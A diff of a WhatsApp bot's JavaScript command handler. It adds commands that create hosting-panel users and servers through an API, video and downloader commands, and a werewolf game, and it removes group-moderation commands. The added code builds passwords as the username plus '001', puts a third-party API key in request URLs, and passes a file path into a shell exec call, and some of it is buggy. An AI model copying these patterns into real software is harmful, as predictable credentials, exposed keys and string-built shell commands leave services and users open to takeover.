+let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} + +break +case "7gb": { +if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "7GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "7000" +let cpu = "110" +let disk = "7000" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNobody is allowed to use bad words in this group, one who uses will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!antiToxic) return replygcxeon('Already deactivated') -let off = nttoxic.indexOf(from) -nttoxic.splice(off, 1) -fs.writeFileSync('./database/antitoxic.json', JSON.stringify(nttoxic)) -replygcxeon('Success in turning off antitoxic in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break -case 'antiwame': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (antiWame) return replygcxeon('Already activated') -ntwame.push(from) -fs.writeFileSync('./database/antiwame.json', JSON.stringify(ntwame)) -replygcxeon('Success in turning on antiwame in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNobody is allowed to send wa.me in this group, one who sends will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!antiWame) return replygcxeon('Already deactivated') -let off = nttoxic.indexOf(from) -ntwame.splice(off, 1) -fs.writeFileSync('./database/antiwame.json', JSON.stringify(ntwame)) -replygcxeon('Success in turning off antiwame in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break -case 'antilinkgc': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (Antilinkgc) return replygcxeon('Already activated') -ntlinkgc.push(from) -fs.writeFileSync('./database/antilinkgc.json', JSON.stringify(ntlinkgc)) -replygcxeon('Success in turning on antiwame in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} + +break +case "8gb": { +if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "8GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "8128" +let cpu = "130" +let disk = "8128" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNobody is allowed to send group link in this group, one who sends will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!Antilinkgc) return replygcxeon('Already deactivated') -let off = ntlinkgc.indexOf(from) -ntlinkgc.splice(off, 1) -fs.writeFileSync('./database/antilinkgc.json', JSON.stringify(ntlinkgc)) -replygcxeon('Success in turning off antiwame in this group') -} else { -await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'leavegc': { - if (!XeonTheCreator) return XeonStickOwner() - await XeonBotInc.groupLeave(m.chat) - await replygcxeon(`Done`) - } - break -case 'add': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!XeonTheCreator) return XeonStickOwner() -let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' -await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'add') -await replygcxeon(`Done`) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + } + break -case 'closetime': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -if (args[1] == 'second') { -var timer = args[0] * `1000` -} else if (args[1] == 'minute') { -var timer = args[0] * `60000` -} else if (args[1] == 'hour') { -var timer = args[0] * `3600000` -} else if (args[1] == 'day') { -var timer = args[0] * `86400000` -} else { -return replygcxeon('*Choose:*\nsecond\nminute\nhour\n\n*Example*\n10 second') +case "9gb": { +if (!isPrem && !isOwner) return reply(`Khusus Danzz Ofc Ajah`) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "9GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "9130" +let cpu = "200" +let disk = "9130" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey } -replygcxeon(`Close Time ${q} Starting from now`) -setTimeout(() => { -var nomor = m.participant -const close = `*On time* Group Closed By Admin\nNow Only Admins Can Send Messages` -XeonBotInc.groupSettingUpdate(from, 'announcement') -replygcxeon(close) -}, timer) +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) } break - case 'ephemeral': { - if (!m.isGroup) return XeonStickGroup() - if (!isBotAdmins) return XeonStickBotAdmin() - if (!isAdmins) return XeonStickAdmin() - if (!text) return replygcxeon('Enter the value enable/disable') - if (args[0] === 'enable') { - await XeonBotInc.sendMessage(m.chat, { disappearingMessagesInChat: WA_DEFAULT_EPHEMERAL }) - } else if (args[0] === 'disable') { - await XeonBotInc.sendMessage(m.chat, { disappearingMessagesInChat: false }) - await replygcxeon(`Done`) - } - } - break - case 'delete': case 'del': { - if (!m.quoted) throw false - let { chat, fromMe, id, isBaileys } = m.quoted - if (!isBaileys) return replygcxeon('The message was not sent by a bot!') - XeonBotInc.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: true, id: m.quoted.id, participant: m.quoted.sender } }) - } - break - case 'linkgroup': case 'linkgc': case 'gclink': case 'grouplink': { - if (!m.isGroup) return XeonStickGroup() - if (!isBotAdmins) return XeonStickBotAdmin() - let response = await XeonBotInc.groupInviteCode(m.chat) - XeonBotInc.sendText(m.chat, `https://chat.whatsapp.com/${response}\n\nGroup Link : ${groupMetadata.subject}`, m, { detectLink: true }) - } - break -case 'opentime': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -if (args[1] == 'second') { -var timer = args[0] * `1000` -} else if (args[1] == 'minute') { -var timer = args[0] * `60000` -} else if (args[1] == 'hour') { -var timer = args[0] * `3600000` -} else if (args[1] == 'day') { -var timer = args[0] * `86400000` -} else { -return replygcxeon('*Choose:*\nsecond\nminute\nhour\n\n*Example*\n10 second') +//================================================================== +case 'hdvid' : +case 'vidhd' :{ +const { TelegraPh } = require('./lib/uploader'); +const { exec } = require('child_process'); +const who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? XeonBotInc.user.jid : m.sender; +const name = await XeonBotInc.getName(who); +const q = m.quoted ? m.quoted : m; +const mime = (q.msg || q).mimetype || ''; +if (!mime) return reply(`Video nya mana kak??`); +reply('Tunggu Sebentar...'); +const media = await XeonBotInc.downloadAndSaveMediaMessage(q); +const url = await TelegraPh(media); +const output = 'output.mp4'; // Nama file output +// Menggunakan ffmpeg untuk meningkatkan resolusi video ke 1080p +exec(`ffmpeg -i ${media} -s 1280x720 -c:v libx264 -c:a copy ${output}`, (error, stdout, stderr) => { + if (error) { + console.error(`Error: ${error.message}`); + return; + } + console.log(`stdout: ${stdout}`); + console.error(`stderr: ${stderr}`); + + // Mengunggah video yang telah ditingkatkan resolusinya + XeonBotInc.sendMessage(m.chat, { caption: `_Sukses Membuat Video Menjadi HD_`, video: { url: output }}, {quoted:m}); +}) +await sleep(600000) +fs.unlinkSync(output) +fs.unlinkSync(media) } -replygcxeon(`Open Time ${q} Starting from now`) -setTimeout(() => { -var nomor = m.participant -const open = `*On time* Group Opened By Admin\n Now Members Can Send Messages` -XeonBotInc.groupSettingUpdate(from, 'not_announcement') -replygcxeon(open) -}, timer) +break +//================================================================== +case 'terabox': +case 'teraboxdl': { + if(!text) return reply('linknya mana kak') +reply(mess.wait) + const response = await fetch(`https://kiicodeofficial.my.id/api/downloader/terabox?url=${encodeURIComponent(text)}&apikey=Dzsyacans`); +const data = await response.json(); +const downloadLink = data.data.list.children.downloadLink; + XeonBotInc.sendFile(m.chat, data.data.list.children.downloadLink, null, `Ini dia Kak`, m); } break -case 'kick': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' -await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'remove') -await replygcxeon(`Done`) +//================================================================== +case 'capcutdl': +case 'capcut':{ +if (!text) return reply(mess.query.link) +reply(mess.wait) +const data = await fetchJson(`https://kiicodeofficial.my.id/api/others/capcut?url=${encodeURIComponent(text)}&apikey=Dzsyacans`) +const datap = data.data.url +XeonBotInc.sendMessage(m.chat, { caption: mess.succes, video: {url:datap.data.url}}, {quoted: m}) } break -case 'setbotname':{ -if (!XeonTheCreator) return XeonStickOwner() -if (!text) return replygcxeon(`Where is the name?\nExample: ${prefix + command} Cheems Bot`) - await XeonBotInc.updateProfileName(text) - replygcxeon(`Success in changing the name of bot's number`) - } - break -case 'setbotbio':{ -if (!XeonTheCreator) return XeonStickOwner() -if (!text) return replygcxeon(`Where is the text?\nExample: ${prefix + command} Cheems Bot`) - await XeonBotInc.updateProfileStatus(text) - replygcxeon(`Success in changing the bio of bot's number`) - } - break - case 'setgroupname': case 'setsubject': { - if (!m.isGroup) return XeonStickGroup() - if (!isBotAdmins) return XeonStickBotAdmin() - if (!isAdmins) return XeonStickAdmin() - if (!text) return replygcxeon('Text ?') - await XeonBotInc.groupUpdateSubject(m.chat, text) - await replygcxeon(`Done`) +//================================================================== +case 'wwpc': +case 'ww': +case 'werewolf': { +let jimp = require("jimp") +const resize = async (image, width, height) => { + const read = await jimp.read(image); + const data = await read.resize(width, height).getBufferAsync(jimp.MIME_JPEG); + return data; +}; + +let { + emoji_role, + sesi, + playerOnGame, + playerOnRoom, + playerExit, + dataPlayer, + dataPlayerById, + getPlayerById, + getPlayerById2, + killWerewolf, + killww, + dreamySeer, + sorcerer, + protectGuardian, + roleShuffle, + roleChanger, + roleAmount, + roleGenerator, + addTimer, + startGame, + playerHidup, + playerMati, + vote, + voteResult, + clearAllVote, + getWinner, + win, + pagi, + malam, + skill, + voteStart, + voteDone, + voting, + run, + run_vote, + run_malam, + run_pagi +} = require('./lib/werewolf.js') + +// [ Thumbnail ] +let thumb = + "https://user-images.githubusercontent.com/72728486/235316834-f9f84ba0-8df3-4444-81d8-db5270995e6d.jpg"; + + const { + sender, + chat + } = m; + XeonBotInc.werewolf = XeonBotInc.werewolf ? XeonBotInc.werewolf : {}; + const ww = XeonBotInc.werewolf ? XeonBotInc.werewolf : {}; + const data = ww[chat]; + const value = args[0]; + const target = args[1]; + + // [ Membuat Room ] + if (value === "create") { + if (chat in ww) return m.reply("Group masih dalam sesi permainan"); + if (playerOnGame(sender, ww) === true) + return m.reply("Kamu masih dalam sesi game"); + ww[chat] = { + room: chat, + owner: sender, + status: false, + iswin: null, + cooldown: null, + day: 0, + time: "malem", + player: [], + dead: [], + voting: false, + seer: false, + guardian: [], + }; + await m.reply("Room berhasil dibuat, ketik *.ww join* untuk bergabung"); + + // [ Join sesi permainan ] + } else if (value === "join") { + if (!ww[chat]) return m.reply("Belum ada sesi permainan"); + if (ww[chat].status === true) + return m.reply("Sesi permainan sudah dimulai"); + if (ww[chat].player.length > 16) + return m.reply("Maaf jumlah player telah penuh"); + if (playerOnRoom(sender, chat, ww) === true) + return m.reply("Kamu sudah join dalam room ini"); + if (playerOnGame(sender, ww) === true) + return m.reply("Kamu masih dalam sesi game"); + let data = { + id: sender, + number: ww[chat].player.length + 1, + sesi: chat, + status: false, + role: false, + effect: [], + vote: 0, + isdead: false, + isvote: false, + }; + ww[chat].player.push(data); + let player = []; + let text = `\n*โŒ‚ W E R E W O L F - P L A Y E R*\n\n`; + for (let i = 0; i < ww[chat].player.length; i++) { + text += `${ww[chat].player[i].number}) @${ww[chat].player[i].id.replace( + "@s.whatsapp.net", + "" + )}\n`; + player.push(ww[chat].player[i].id); + } + text += "\nJumlah player minimal adalah 5 dan maximal 15"; + XeonBotInc.sendMessage( + m.chat, { + text: text.trim(), + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: player, + }, + }, { + quoted: m } - break - case 'setdesc': case 'setdesk': { - if (!m.isGroup) return XeonStickGroup() - if (!isBotAdmins) return XeonStickBotAdmin() - if (!isAdmins) return XeonStickAdmin() - if (!text) return replygcxeon('Text ?') - await XeonBotInc.groupUpdateDescription(m.chat, text) - await replygcxeon(`Done`) + ); + + // [ Game Play ] + } else if (value === "start") { + if (!ww[chat]) return m.reply("Belum ada sesi permainan"); + if (ww[chat].player.length === 0) + return m.reply("Room belum memiliki player"); + if (ww[chat].player.length < 5) + return m.reply("Maaf jumlah player belum memenuhi syarat"); + if (playerOnRoom(sender, chat, ww) === false) + return m.reply("Kamu belum join dalam room ini"); + if (ww[chat].cooldown > 0) { + if (ww[chat].time === "voting") { + clearAllVote(chat, ww); + addTimer(chat, ww); + return await run_vote(XeonBotInc, chat, ww); + } else if (ww[chat].time === "malem") { + clearAllVote(chat, ww); + addTimer(chat, ww); + return await run_malam(XeonBotInc, chat, ww); + } else if (ww[chat].time === "pagi") { + clearAllVote(chat, ww); + addTimer(chat, ww); + return await run_pagi(XeonBotInc, chat, ww); } - break -case 'setppgroup': case 'setgcpp': case 'setgrouppp': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!quoted) return replygcxeon(`Where is the picture?`) -if (!/image/.test(mime)) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`) -if (/webp/.test(mime)) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`) -var mediz = await XeonBotInc.downloadAndSaveMediaMessage(quoted, 'ppgc.jpeg') -if (args[0] == `full`) { -var { img } = await generateProfilePicture(mediz) -await XeonBotInc.query({ -tag: 'iq', -attrs: { -to: m.chat, -type:'set', -xmlns: 'w:profile:picture' -}, -content: [ -{ -tag: 'picture', -attrs: { type: 'image' }, -content: img + } + if (ww[chat].status === true) + return m.reply("Sesi permainan telah dimulai"); + if (ww[chat].owner !== sender) + return m.reply( + `Hanya @${ww[chat].owner.split("@")[0]} yang dapat memulai permainan` + ); + let list1 = ""; + let list2 = ""; + let player = []; + roleGenerator(chat, ww); + addTimer(chat, ww); + startGame(chat, ww); + for (let i = 0; i < ww[chat].player.length; i++) { + list1 += `(${ww[chat].player[i].number}) @${ww[chat].player[ + i + ].id.replace("@s.whatsapp.net", "")}\n`; + player.push(ww[chat].player[i].id); + } + for (let i = 0; i < ww[chat].player.length; i++) { + list2 += `(${ww[chat].player[i].number}) @${ww[chat].player[ + i + ].id.replace("@s.whatsapp.net", "")} ${ + ww[chat].player[i].role === "werewolf" || + ww[chat].player[i].role === "sorcerer" + ? `[${ww[chat].player[i].role}]` + : "" + }\n`; + player.push(ww[chat].player[i].id); + } + for (let i = 0; i < ww[chat].player.length; i++) { + // [ Werewolf ] + if (ww[chat].player[i].role === "werewolf") { + if (ww[chat].player[i].isdead != true) { + var textt = `Hai ${XeonBotInc.getName( + ww[chat].player[i].id + )}, Kamu telah dipilih untuk memerankan *Werewolf* ${emoji_role( + "werewolf" + )} pada permainan kali ini, silahkan pilih salah satu player yang ingin kamu makan pada malam hari ini\n*LIST PLAYER*:\n${list2}\n\nKetik *.wwpc kill nomor* untuk membunuh player`; + + let row = []; + for (let p = 0; p < ww[chat].player.length; p++) { + row.push({ + title: `Kill Player ${ww[chat].player[p].number}`, + rowId: `.wwpc kill ${ww[chat].player[p].number}`, + description: `Untuk membunuh player ${ww[chat].player[p].number}`, + }); + } + const sections = [ + { title: "โŒ‚ W E R E W O L F - G A M E", rows: row }, + ]; + const listMessage = { + text: text, + footer: `Player Hidup: ${playerHidup( + sesi(m.chat, ww) + )} Player Mati: ${playerMati(sesi(m.chat, ww))}`, + title: "โŒ‚ W E R E W O L F - G A M E\n", + buttonText: "Clik here!", + sections, + mentions: player, + }; + await XeonBotInc.sendMessage(ww[chat].player[i].id, listMessage); + + await XeonBotInc.sendMessage(ww[chat].player[i].id, { + text: textt, + mentions: player, + }); + } + + // [ villager ] + } else if (ww[chat].player[i].role === "warga") { + if (ww[chat].player[i].isdead != true) { + let texttt = `*โŒ‚ W E R E W O L F - G A M E*\n\nHai ${XeonBotInc.getName( + ww[chat].player[i].id + )} Peran kamu adalah *Warga Desa* ${emoji_role( + "warga" + )}, tetap waspada, mungkin *Werewolf* akan memakanmu malam ini, silakan masuk kerumah masing masing.\n*LIST PLAYER*:\n${list1}`; + await XeonBotInc.sendMessage(ww[chat].player[i].id, { + text: texttt, + mentions: player, + }); + } + + // [ Penerawangan ] + } else if (ww[chat].player[i].role === "seer") { + if (ww[chat].player[i].isdead != true) { + let texxt = `Hai ${XeonBotInc.getName( + ww[chat].player[i].id + )} Kamu telah terpilih untuk menjadi *Penerawang* ${emoji_role( + "seer" + )}. Dengan sihir yang kamu punya, kamu bisa mengetahui peran pemain pilihanmu.\n*LIST PLAYER*:\n${list1}\n\nKetik *.wwpc dreamy nomor* untuk melihat role player`; + + let row = []; + for (let p = 0; p < ww[chat].player.length; p++) { + row.push({ + title: `Cek Player ${ww[chat].player[p].number}`, + rowId: `.ww dreamy ${ww[chat].player[p].number}`, + description: `Untuk melihat identitas player ${ww[chat].player[p].number}`, + }); + } + const sections = [ + { title: "โŒ‚ W E R E W O L F - G A M E", rows: row }, + ]; + const listMessage = { + text: text, + footer: `Player Hidup: ${playerHidup( + sesi(m.chat, ww) + )} Player Mati: ${playerMati(sesi(m.chat, ww))}`, + title: "โŒ‚ W E R E W O L F - G A M E\n", + buttonText: "Clik here!", + sections, + mentions: player, + }; + await XeonBotInc.sendMessage(ww[chat].player[i].id, listMessage); + + await XeonBotInc.sendMessage(ww[chat].player[i].id, { + text: texxt, + mentions: player, + }); + } + + // [ Guardian ] + } else if (ww[chat].player[i].role === "guardian") { + if (ww[chat].player[i].isdead != true) { + let teext = `Hai ${XeonBotInc.getName( + ww[chat].player[i].id + )} Kamu terpilih untuk memerankan *Malaikat Pelindung* ${emoji_role( + "guardian" + )}, dengan kekuatan yang kamu miliki, kamu bisa melindungi para warga, silahkan pilih salah 1 player yang ingin kamu lindungi\n*LIST PLAYER*:\n${list1}\n\nKetik *.wwpc deff nomor* untuk melindungi player`; + + let row = []; + for (let p = 0; p < ww[chat].player.length; p++) { + row.push({ + title: `Lindungi Player ${ww[chat].player[p].number}`, + rowId: `.ww deff ${ww[chat].player[p].number}`, + description: `Untuk melindungi player ${ww[chat].player[p].number}`, + }); + } + const sections = [ + { title: "โŒ‚ W E R E W O L F - G A M E", rows: row }, + ]; + const listMessage = { + text: text, + footer: `Player Hidup: ${playerHidup( + sesi(m.chat, ww) + )} Player Mati: ${playerMati(sesi(m.chat, ww))}`, + title: "โŒ‚ W E R E W O L F - G A M E\n", + buttonText: "Clik here!", + sections, + mentions: player, + }; + await XeonBotInc.sendMessage(ww[chat].player[i].id, listMessage); + + await XeonBotInc.sendMessage(ww[chat].player[i].id, { + text: teext, + mentions: player, + }); + } + + // [ Sorcerer ] + } else if (ww[chat].player[i].role === "sorcerer") { + if (ww[chat].player[i].isdead != true) { + let textu = `Hai ${XeonBotInc.getName( + ww[chat].player[i].id + )} Kamu terpilih sebagai Penyihir ${emoji_role( + "sorcerer" + )}, dengan kekuasaan yang kamu punya, kamu bisa membuka identitas para player, silakan pilih 1 orang yang ingin kamu buka identitasnya\n*LIST PLAYER*:\n${list2}\n\nKetik *.wwpc sorcerer nomor* untuk melihat role player`; + + let row = []; + for (let p = 0; p < ww[chat].player.length; p++) { + row.push({ + title: `Cek Player ${ww[chat].player[p].number}`, + rowId: `.ww sorcerer ${ww[chat].player[p].number}`, + description: `Untuk melihat identitas player ${ww[chat].player[p].number}`, + }); + } + const sections = [ + { title: "โŒ‚ W E R E W O L F - G A M E", rows: row }, + ]; + const 